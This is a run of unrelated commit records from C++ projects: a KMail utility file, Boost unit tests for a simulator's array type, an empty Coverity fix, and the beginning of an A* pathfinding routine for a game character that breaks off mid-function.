permission to link the code of this program with any edition of\n** the Qt library by Trolltech AS, Norway (or with modified versions\n** of Qt that use the same license as Qt), and distribute linked\n** combinations including the two. You must obey the GNU General\n** Public License in all respects for all of the code used other than\n** Qt. If you modify this file, you may extend this exception to\n** your version of the file, but you are not obligated to do so. If\n** you do not wish to do so, delete this exception statement from\n** your version.\n**\n*******************************************************************************\/\n\n\n#include \"util.h\"\n\n#include <stdlib.h>\n#include <mimelib\/string.h>\n\nvoid KMail::Util::reconnectSignalSlotPair( QObject *src, const char *signal, QObject *dst, const char *slot )\n{\n QObject::disconnect( src, signal, dst, slot );\n QObject::connect( src, signal, dst, slot );\n}\n\n\nsize_t KMail::Util::crlf2lf( char* str, const size_t strLen )\n{\n if ( !str || strLen == 0 )\n return 0;\n\n const char* source = str;\n const char* sourceEnd = source + strLen;\n\n \/\/ search the first occurrence of \"\\r\\n\"\n for ( ; source < sourceEnd - 1; ++source ) {\n if ( *source == '\\r' && *( source + 1 ) == '\\n' )\n break;\n }\n\n if ( source == sourceEnd - 1 ) {\n \/\/ no \"\\r\\n\" found\n return strLen;\n }\n\n \/\/ replace all occurrences of \"\\r\\n\" with \"\\n\" (in place)\n char* target = const_cast<char*>( source ); \/\/ target points to '\\r'\n ++source; \/\/ source points to '\\n'\n for ( ; source < sourceEnd; ++source ) {\n if ( *source != '\\r' || *( source + 1 ) != '\\n' )\n * target++ = *source;\n }\n *target = '\\0'; \/\/ terminate result\n return target - str;\n}\n\nQByteArray KMail::Util::lf2crlf( const QByteArray & src )\n{\n QByteArray result;\n result.resize( 2*src.size() ); \/\/ maximal possible length\n\n QByteArray::ConstIterator s = src.begin();\n QByteArray::Iterator d = result.begin();\n \/\/ we use cPrev to make sure we insert '\\r' only there where it is missing\n char cPrev = '?';\n const char* end = src.end();\n while ( s != end ) {\n if ( ('\\n' == *s) && ('\\r' != cPrev) )\n *d++ = '\\r';\n cPrev = *s;\n *d++ = *s++;\n }\n result.truncate( d - result.begin() );\n return result;\n}\n\nQByteArray KMail::Util::ByteArray( const DwString& str )\n{\n const int strLen = str.size();\n QByteArray arr;\n arr.resize( strLen );\n memcpy( arr.data(), str.data(), strLen );\n return arr;\n}\n\nDwString KMail::Util::dwString( const QByteArray& str )\n{\n if ( !str.data() ) \/\/ DwString doesn't like char*=0\n return DwString();\n return DwString( str.data(), str.size() );\n}\n\nbool KMail::Util::checkOverwrite( const KUrl &url, QWidget *w )\n{\n if ( KIO::NetAccess::exists( url, KIO::NetAccess::DestinationSide, w ) ) {\n if ( KMessageBox::Cancel == KMessageBox::warningContinueCancel(\n w,\n i18n( \"A file named \\\"%1\\\" already exists. \"\n \"Are you sure you want to overwrite it?\", url.prettyUrl() ),\n i18n( \"Overwrite File?\" ),\n KStandardGuiItem::overwrite() ) )\n return false;\n }\n return true;\n}\n\n#ifdef Q_WS_MACX\n#include <QDesktopServices>\n#endif\n\nbool KMail::Util::handleUrlOnMac( const KUrl& url )\n{\n#ifdef Q_WS_MACX\n QDesktopServices::openUrl( url );\n return true;\n#else\n Q_UNUSED( url );\n return false;\n#endif\n}\n\nKMail::Util::RecursionPreventer::RecursionPreventer( int &counter )\n : mCounter( counter )\n{\n mCounter++;\n}\n\nKMail::Util::RecursionPreventer::~RecursionPreventer()\n{\n mCounter--;\n}\n\nbool KMail::Util::RecursionPreventer::isRecursive() const\n{\n return mCounter > 1;\n}<commit_msg>Fix minor krazy issue: source files should end with newlines.<commit_after>\/*******************************************************************************\n**\n** Filename : util\n** Created on : 03 April, 2005\n** Copyright : (c) 2005 Till Adam\n** Email : <adam@kde.org>\n**\n*******************************************************************************\/\n\n\/*******************************************************************************\n**\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** It is distributed in the hope that it will be useful, but\n** WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n**\n** In addition, as a special exception, the copyright holders give\n** permission to link the code of this program with any edition of\n** the Qt library by Trolltech AS, Norway (or with modified versions\n** of Qt that use the same license as Qt), and distribute linked\n** combinations including the two. You must obey the GNU General\n** Public License in all respects for all of the code used other than\n** Qt. If you modify this file, you may extend this exception to\n** your version of the file, but you are not obligated to do so. If\n** you do not wish to do so, delete this exception statement from\n** your version.\n**\n*******************************************************************************\/\n\n\n#include \"util.h\"\n\n#include <stdlib.h>\n#include <mimelib\/string.h>\n\nvoid KMail::Util::reconnectSignalSlotPair( QObject *src, const char *signal, QObject *dst, const char *slot )\n{\n QObject::disconnect( src, signal, dst, slot );\n QObject::connect( src, signal, dst, slot );\n}\n\n\nsize_t KMail::Util::crlf2lf( char* str, const size_t strLen )\n{\n if ( !str || strLen == 0 )\n return 0;\n\n const char* source = str;\n const char* sourceEnd = source + strLen;\n\n \/\/ search the first occurrence of \"\\r\\n\"\n for ( ; source < sourceEnd - 1; ++source ) {\n if ( *source == '\\r' && *( source + 1 ) == '\\n' )\n break;\n }\n\n if ( source == sourceEnd - 1 ) {\n \/\/ no \"\\r\\n\" found\n return strLen;\n }\n\n \/\/ replace all occurrences of \"\\r\\n\" with \"\\n\" (in place)\n char* target = const_cast<char*>( source ); \/\/ target points to '\\r'\n ++source; \/\/ source points to '\\n'\n for ( ; source < sourceEnd; ++source ) {\n if ( *source != '\\r' || *( source + 1 ) != '\\n' )\n * target++ = *source;\n }\n *target = '\\0'; \/\/ terminate result\n return target - str;\n}\n\nQByteArray KMail::Util::lf2crlf( const QByteArray & src )\n{\n QByteArray result;\n result.resize( 2*src.size() ); \/\/ maximal possible length\n\n QByteArray::ConstIterator s = src.begin();\n QByteArray::Iterator d = result.begin();\n \/\/ we use cPrev to make sure we insert '\\r' only there where it is missing\n char cPrev = '?';\n const char* end = src.end();\n while ( s != end ) {\n if ( ('\\n' == *s) && ('\\r' != cPrev) )\n *d++ = '\\r';\n cPrev = *s;\n *d++ = *s++;\n }\n result.truncate( d - result.begin() );\n return result;\n}\n\nQByteArray KMail::Util::ByteArray( const DwString& str )\n{\n const int strLen = str.size();\n QByteArray arr;\n arr.resize( strLen );\n memcpy( arr.data(), str.data(), strLen );\n return arr;\n}\n\nDwString KMail::Util::dwString( const QByteArray& str )\n{\n if ( !str.data() ) \/\/ DwString doesn't like char*=0\n return DwString();\n return DwString( str.data(), str.size() );\n}\n\nbool KMail::Util::checkOverwrite( const KUrl &url, QWidget *w )\n{\n if ( KIO::NetAccess::exists( url, KIO::NetAccess::DestinationSide, w ) ) {\n if ( KMessageBox::Cancel == KMessageBox::warningContinueCancel(\n w,\n i18n( \"A file named \\\"%1\\\" already exists. \"\n \"Are you sure you want to overwrite it?\", url.prettyUrl() ),\n i18n( \"Overwrite File?\" ),\n KStandardGuiItem::overwrite() ) )\n return false;\n }\n return true;\n}\n\n#ifdef Q_WS_MACX\n#include <QDesktopServices>\n#endif\n\nbool KMail::Util::handleUrlOnMac( const KUrl& url )\n{\n#ifdef Q_WS_MACX\n QDesktopServices::openUrl( url );\n return true;\n#else\n Q_UNUSED( url );\n return false;\n#endif\n}\n\nKMail::Util::RecursionPreventer::RecursionPreventer( int &counter )\n : mCounter( counter )\n{\n mCounter++;\n}\n\nKMail::Util::RecursionPreventer::~RecursionPreventer()\n{\n mCounter--;\n}\n\nbool KMail::Util::RecursionPreventer::isRecursive() const\n{\n return mCounter > 1;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*!\r\n \\copyright (c) RDO-Team, 2011\r\n \\file main.cpp\r\n \\authors \r\n \\authors (lord.tiran@gmail.com)\r\n \\authors (rdo@rk9.bmstu.ru)\r\n \\date 13.12.2009\r\n \\brief \r\n \\indent 4T\r\n*\/\r\n\r\n\/\/ ---------------------------------------------------------------------------- PCH\r\n\/\/ ----------------------------------------------------------------------- INCLUDES\r\n#include <iostream>\r\n#include <stdio.h>\r\n#define BOOST_TEST_MODULE RDORuntime_Array_Test\r\n#include <boost\/test\/included\/unit_test.hpp>\r\n\/\/ ----------------------------------------------------------------------- SYNOPSIS\r\n#include \"simulator\/runtime\/rdo_value.h\"\r\n#include \"simulator\/runtime\/rdo_array.h\"\r\n#include \"simulator\/runtime\/rdo_type.h\"\r\n\/\/ --------------------------------------------------------------------------------\r\n\r\nBOOST_AUTO_TEST_SUITE(RDORuntime_Array_Test)\r\n\r\ntypedef rdo::vector<rsint> Container;\r\ntypedef std::pair<rdoRuntime::LPRDOArrayValue, rdoRuntime::RDOValue> Array;\r\n\r\nArray createArray(CREF(Container) data)\r\n{\r\n\trdoRuntime::LPRDOArrayType pType = rdo::Factory<rdoRuntime::RDOArrayType>::create(rdoRuntime::g_int);\r\n\tASSERT(pType);\r\n\trdoRuntime::LPRDOArrayValue pValue = rdo::Factory<rdoRuntime::RDOArrayValue>::create(pType);\r\n\tASSERT(pValue);\r\n\r\n\tSTL_FOR_ALL_CONST(data, it)\r\n\t{\r\n\t\tpValue->push_back(rdoRuntime::RDOValue(*it));\r\n\t}\r\n\r\n\treturn std::make_pair(pValue, rdoRuntime::RDOValue(pType, pValue));\r\n}\r\n\r\ntstring getString(CREF(rdoRuntime::LPRDOArrayValue) pArray, CREF(rdoRuntime::LPRDOArrayIterator) pIt)\r\n{\r\n\tif (!pIt->equal(pArray->end()))\r\n\t{\r\n\t\treturn pIt->getValue().getAsString();\r\n\t}\r\n\treturn _T(\"\");\r\n}\r\n\r\ntstring getString(CREF(rdoRuntime::RDOValue) it, CREF(rdoRuntime::RDOValue) end)\r\n{\r\n\tif (it != end)\r\n\t{\r\n\t\treturn it.getAsString();\r\n\t}\r\n\treturn _T(\"\");\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestCreate)\r\n{\r\n\tBOOST_CHECK(createArray(Container()(1)(2)(3)).second.getAsString() == _T(\"[1, 2, 3]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestInsert)\r\n{\r\n\tArray array1 = createArray(Container()(1)(2)(3));\r\n\tArray array2 = createArray(Container()(4)(5)(6));\r\n\r\n\tarray1.first->insert(array1.first->begin()->next(), array2.first->begin(), array2.first->end());\r\n\r\n\tBOOST_CHECK(array1.second.getAsString() == _T(\"[1, 4, 5, 6, 2, 3]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestErase)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\tarray.first->erase(array.first->begin()->next(), array.first->begin()->preInc(3));\r\n\r\n\tBOOST_CHECK(array.second.getAsString() == _T(\"[1]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPrePlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\twhile (!pIt->equal(array.first->end()))\r\n\t{\r\n\t\tresult += getString(array.first, pIt->preInc(1));\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"23\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPostPlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\twhile (!pIt->equal(array.first->end()))\r\n\t{\r\n\t\tresult += getString(array.first, pIt->postInc(1));\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"123\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPreMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end();\r\n\tdo\r\n\t{\r\n\t\tresult += getString(array.first, pIt->preInc(-1));\r\n\t}\r\n\twhile (!pIt->equal(array.first->begin()));\r\n\r\n\tBOOST_CHECK(result == _T(\"321\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPostMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end();\r\n\tdo\r\n\t{\r\n\t\tresult += getString(array.first, pIt->postInc(-1));\r\n\t}\r\n\twhile (!pIt->equal(array.first->begin()));\r\n\r\n\tBOOST_CHECK(result == _T(\"32\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePrePlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue end(pEnd, pEnd);\r\n\tBOOST_CHECK(it != end);\r\n\r\n\twhile (it != end)\r\n\t{\r\n\t\tresult += getString(++it, end);\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"23\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePostPlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue end(pEnd, pEnd);\r\n\tBOOST_CHECK(it != end);\r\n\r\n\twhile (it != end)\r\n\t{\r\n\t\tresult += getString(it++, end);\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"123\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePreMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end ();\r\n\trdoRuntime::LPRDOArrayIterator pBegin = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue begin(pBegin, pBegin);\r\n\trdoRuntime::RDOValue end (pEnd, pEnd );\r\n\tBOOST_CHECK(it != begin);\r\n\tBOOST_CHECK(it == end );\r\n\r\n\tdo \r\n\t{\r\n\t\tresult += getString(--it, end);\r\n\t}\r\n\twhile (it != begin);\r\n\tBOOST_CHECK(result == _T(\"321\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePostMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end ();\r\n\trdoRuntime::LPRDOArrayIterator pBegin = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue begin(pBegin, pBegin);\r\n\trdoRuntime::RDOValue end (pEnd, pEnd );\r\n\tBOOST_CHECK(it != begin);\r\n\tBOOST_CHECK(it == end );\r\n\r\n\tdo \r\n\t{\r\n\t\tresult += getString(it--, end);\r\n\t}\r\n\twhile (it != begin);\r\n\tBOOST_CHECK(result == _T(\"32\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestSetItem)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\trdoRuntime::LPRDORuntime pRuntime = rdo::Factory<rdoRuntime::RDORuntime>::create();\r\n\r\n\truint ind = 1;\r\n\truint item = 48;\r\n\trdoRuntime::RDOValue index (ind);\r\n\trdoRuntime::RDOValue value (item);\r\n\tarray.first->setItem(index, value);\r\n\t\r\n\tBOOST_CHECK(array.second.getAsString() == _T(\"[1, 48, 3]\"));\r\n\t\r\n\tind = 3;\r\n\tindex = ind;\r\n\trbool found = false;\r\n\t\r\n\ttry\r\n\t{\r\n\t\tarray.first->setItem(index, value);\r\n\t}\r\n\tcatch (rdoRuntime::RDORuntimeException ex)\r\n\t{\r\n\t\tif (! ex.message().empty())\r\n\t\t{\r\n\t\t\tfound = ex.message() == _T(\" \");\r\n\t\t}\r\n\t}\r\n\t\r\n\tif (!found)\r\n\t\tBOOST_CHECK(false);\t\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestGetItem)\r\n{\r\n\tArray array = createArray(Container()(1)(48)(3));\r\n\trdoRuntime::LPRDORuntime pRuntime = rdo::Factory<rdoRuntime::RDORuntime>::create();\r\n\r\n\truint ind = 1;\r\n\trdoRuntime::RDOValue index (ind);\r\n\trdoRuntime::RDOValue value (array.first->getItem(index));\r\n\r\n\tBOOST_CHECK(value.getAsString() == _T(\"48\"));\r\n\r\n\tind = 3;\r\n\tindex = ind;\r\n\trbool found = false;\r\n\r\n\ttry\r\n\t{\r\n\t\tarray.first->getItem(index);\r\n\t}\r\n\tcatch (rdoRuntime::RDORuntimeException ex)\r\n\t{\r\n\t\tif (! ex.message().empty())\r\n\t\t{\r\n\t\t\tfound = ex.message() == _T(\" \");\r\n\t\t}\r\n\t}\r\n\r\n\tif (!found)\r\n\t\tBOOST_CHECK(false);\r\n}\r\nBOOST_AUTO_TEST_SUITE_END() \/\/ RDORuntime_Array_Test\r\n<commit_msg> - использование CREF - форматирование<commit_after>\/*!\r\n \\copyright (c) RDO-Team, 2011\r\n \\file main.cpp\r\n \\authors \r\n \\authors (lord.tiran@gmail.com)\r\n \\authors (rdo@rk9.bmstu.ru)\r\n \\date 13.12.2009\r\n \\brief \r\n \\indent 4T\r\n*\/\r\n\r\n\/\/ ---------------------------------------------------------------------------- PCH\r\n\/\/ ----------------------------------------------------------------------- INCLUDES\r\n#include <iostream>\r\n#include <stdio.h>\r\n#define BOOST_TEST_MODULE RDORuntime_Array_Test\r\n#include <boost\/test\/included\/unit_test.hpp>\r\n\/\/ ----------------------------------------------------------------------- SYNOPSIS\r\n#include \"simulator\/runtime\/rdo_value.h\"\r\n#include \"simulator\/runtime\/rdo_array.h\"\r\n#include \"simulator\/runtime\/rdo_type.h\"\r\n\/\/ --------------------------------------------------------------------------------\r\n\r\nBOOST_AUTO_TEST_SUITE(RDORuntime_Array_Test)\r\n\r\ntypedef rdo::vector<rsint> Container;\r\ntypedef std::pair<rdoRuntime::LPRDOArrayValue, rdoRuntime::RDOValue> Array;\r\n\r\nArray createArray(CREF(Container) data)\r\n{\r\n\trdoRuntime::LPRDOArrayType pType = rdo::Factory<rdoRuntime::RDOArrayType>::create(rdoRuntime::g_int);\r\n\tASSERT(pType);\r\n\trdoRuntime::LPRDOArrayValue pValue = rdo::Factory<rdoRuntime::RDOArrayValue>::create(pType);\r\n\tASSERT(pValue);\r\n\r\n\tSTL_FOR_ALL_CONST(data, it)\r\n\t{\r\n\t\tpValue->push_back(rdoRuntime::RDOValue(*it));\r\n\t}\r\n\r\n\treturn std::make_pair(pValue, rdoRuntime::RDOValue(pType, pValue));\r\n}\r\n\r\ntstring getString(CREF(rdoRuntime::LPRDOArrayValue) pArray, CREF(rdoRuntime::LPRDOArrayIterator) pIt)\r\n{\r\n\tif (!pIt->equal(pArray->end()))\r\n\t{\r\n\t\treturn pIt->getValue().getAsString();\r\n\t}\r\n\treturn _T(\"\");\r\n}\r\n\r\ntstring getString(CREF(rdoRuntime::RDOValue) it, CREF(rdoRuntime::RDOValue) end)\r\n{\r\n\tif (it != end)\r\n\t{\r\n\t\treturn it.getAsString();\r\n\t}\r\n\treturn _T(\"\");\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestCreate)\r\n{\r\n\tBOOST_CHECK(createArray(Container()(1)(2)(3)).second.getAsString() == _T(\"[1, 2, 3]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestInsert)\r\n{\r\n\tArray array1 = createArray(Container()(1)(2)(3));\r\n\tArray array2 = createArray(Container()(4)(5)(6));\r\n\r\n\tarray1.first->insert(array1.first->begin()->next(), array2.first->begin(), array2.first->end());\r\n\r\n\tBOOST_CHECK(array1.second.getAsString() == _T(\"[1, 4, 5, 6, 2, 3]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestErase)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\tarray.first->erase(array.first->begin()->next(), array.first->begin()->preInc(3));\r\n\r\n\tBOOST_CHECK(array.second.getAsString() == _T(\"[1]\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPrePlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\twhile (!pIt->equal(array.first->end()))\r\n\t{\r\n\t\tresult += getString(array.first, pIt->preInc(1));\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"23\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPostPlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\twhile (!pIt->equal(array.first->end()))\r\n\t{\r\n\t\tresult += getString(array.first, pIt->postInc(1));\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"123\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPreMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end();\r\n\tdo\r\n\t{\r\n\t\tresult += getString(array.first, pIt->preInc(-1));\r\n\t}\r\n\twhile (!pIt->equal(array.first->begin()));\r\n\r\n\tBOOST_CHECK(result == _T(\"321\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestIteratorPostMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end();\r\n\tdo\r\n\t{\r\n\t\tresult += getString(array.first, pIt->postInc(-1));\r\n\t}\r\n\twhile (!pIt->equal(array.first->begin()));\r\n\r\n\tBOOST_CHECK(result == _T(\"32\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePrePlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue end(pEnd, pEnd);\r\n\tBOOST_CHECK(it != end);\r\n\r\n\twhile (it != end)\r\n\t{\r\n\t\tresult += getString(++it, end);\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"23\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePostPlus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue end(pEnd, pEnd);\r\n\tBOOST_CHECK(it != end);\r\n\r\n\twhile (it != end)\r\n\t{\r\n\t\tresult += getString(it++, end);\r\n\t}\r\n\tBOOST_CHECK(result == _T(\"123\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePreMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end ();\r\n\trdoRuntime::LPRDOArrayIterator pBegin = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue begin(pBegin, pBegin);\r\n\trdoRuntime::RDOValue end (pEnd, pEnd );\r\n\tBOOST_CHECK(it != begin);\r\n\tBOOST_CHECK(it == end );\r\n\r\n\tdo\r\n\t{\r\n\t\tresult += getString(--it, end);\r\n\t}\r\n\twhile (it != begin);\r\n\tBOOST_CHECK(result == _T(\"321\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestValuePostMinus)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\r\n\ttstring result;\r\n\trdoRuntime::LPRDOArrayIterator pIt = array.first->end ();\r\n\trdoRuntime::LPRDOArrayIterator pBegin = array.first->begin();\r\n\trdoRuntime::LPRDOArrayIterator pEnd = array.first->end ();\r\n\trdoRuntime::RDOValue it (pIt, pIt );\r\n\trdoRuntime::RDOValue begin(pBegin, pBegin);\r\n\trdoRuntime::RDOValue end (pEnd, pEnd );\r\n\tBOOST_CHECK(it != begin);\r\n\tBOOST_CHECK(it == end );\r\n\r\n\tdo \r\n\t{\r\n\t\tresult += getString(it--, end);\r\n\t}\r\n\twhile (it != begin);\r\n\tBOOST_CHECK(result == _T(\"32\"));\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestSetItem)\r\n{\r\n\tArray array = createArray(Container()(1)(2)(3));\r\n\trdoRuntime::LPRDORuntime pRuntime = rdo::Factory<rdoRuntime::RDORuntime>::create();\r\n\r\n\truint ind = 1;\r\n\truint item = 48;\r\n\trdoRuntime::RDOValue index(ind);\r\n\trdoRuntime::RDOValue value(item);\r\n\tarray.first->setItem(index, value);\r\n\r\n\tBOOST_CHECK(array.second.getAsString() == _T(\"[1, 48, 3]\"));\r\n\r\n\tind = 3;\r\n\tindex = ind;\r\n\trbool found = false;\r\n\r\n\ttry\r\n\t{\r\n\t\tarray.first->setItem(index, value);\r\n\t}\r\n\tcatch (CREF(rdoRuntime::RDORuntimeException) ex)\r\n\t{\r\n\t\tif (!ex.message().empty())\r\n\t\t{\r\n\t\t\tfound = ex.message() == _T(\" \");\r\n\t\t}\r\n\t}\r\n\r\n\tif (!found)\r\n\t{\r\n\t\tBOOST_CHECK(false);\r\n\t}\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(ArrayTestGetItem)\r\n{\r\n\tArray array = createArray(Container()(1)(48)(3));\r\n\trdoRuntime::LPRDORuntime pRuntime = rdo::Factory<rdoRuntime::RDORuntime>::create();\r\n\r\n\truint ind = 1;\r\n\trdoRuntime::RDOValue index(ind);\r\n\trdoRuntime::RDOValue value(array.first->getItem(index));\r\n\r\n\tBOOST_CHECK(value.getAsString() == _T(\"48\"));\r\n\r\n\tind = 3;\r\n\tindex = ind;\r\n\trbool found = false;\r\n\r\n\ttry\r\n\t{\r\n\t\tarray.first->getItem(index);\r\n\t}\r\n\tcatch (CREF(rdoRuntime::RDORuntimeException) ex)\r\n\t{\r\n\t\tif (!ex.message().empty())\r\n\t\t{\r\n\t\t\tfound = ex.message() == _T(\" \");\r\n\t\t}\r\n\t}\r\n\r\n\tif (!found)\r\n\t{\r\n\t\tBOOST_CHECK(false);\r\n\t}\r\n}\r\nBOOST_AUTO_TEST_SUITE_END() \/\/ RDORuntime_Array_Test\r\n<|endoftext|>"} {"text":"<commit_before><commit_msg>coverity#705153 Missing break in switch, surely this is not intentional<commit_after><|endoftext|>"} {"text":"<commit_before>\/* Jim Viebke\nJun 3 2015 *\/\n\n#include \"non_player_character.h\"\n\nvoid NPC::a_star_pathfind(const int & x_dest, const int & y_dest, World & world)\n{\n\tcout << \"\\nSearching for path from \" << x << \",\" << y << \" to \" << x_dest << \",\" << y_dest << \".\\n\";\n\n\t\/* F = G + H\n\n\tG: actual cost to reach a certain room\n\tH: estimated cost to reach destination from a certain room\n\n\tf-cost = g + h *\/\n\n\tvector<Node> open_list, closed_list;\n\n\t\/\/ Add current room to open list.\n\topen_list.push_back(Node(this->x, this->y, \"\"));\n\t\/\/ calculate current room's costs. G cost starts at 0.\n\topen_list[0].set_g_h_f(0, R::diagonal_distance(x_dest, y_dest, this->x, this->y));\n\n\t\/\/ Do\n\tdo\n\t{\n\t\t\/*\/\/ -- Find lowest f-cost room on open list\n\t\t\/\/ -- Move it to closed list\n\t\tNode current_room = move_and_get_lowest_f_cost(open_list, closed_list); *\/\n\n\t\t\/\/ work through every open room\n\t\tNode current_room = open_list[0]; \/\/ copy\n\t\tclosed_list.push_back(current_room); \/\/ move to closed\n\t\topen_list.erase(open_list.begin()); \/\/ erase original\n\n\t\t\/\/ -- For each adjacent room to current\n\t\tfor (const string & direction : C::direction_ids)\n\t\t{\n\t\t\tif (direction == C::UP || direction == C::DOWN) { continue; } \/\/ only pathfinding in 2D now\n\n\t\t\t\/\/ calculate the location deltas\n\t\t\tint dx = 0, dy = 0, dz = 0;\n\t\t\tR::assign_movement_deltas(direction, dx, dy, dz);\n\n\t\t\t\/\/ skip if the room is out of bounds\n\t\t\tif (!R::bounds_check(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX)) { continue; }\n\t\t\t\/\/ skip the room if it is not loaded\n\t\t\tif (world.room_at(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX) == nullptr) { continue; }\n\t\t\t\/\/ skip the room if it is not within view distance\n\t\t\tif (!world.room_at(current_room.x + dx, current_room.y + dy, C::GROUND_INDEX)->is_observed_by(this->name)) { continue; }\n\n\t\t\t\/\/ create a node to select the next adjacent room\n\t\t\tNode adjacent_room(current_room.x + dx, current_room.y + dy, direction);\n\n\t\t\t\/\/ -- -- pass if it is on 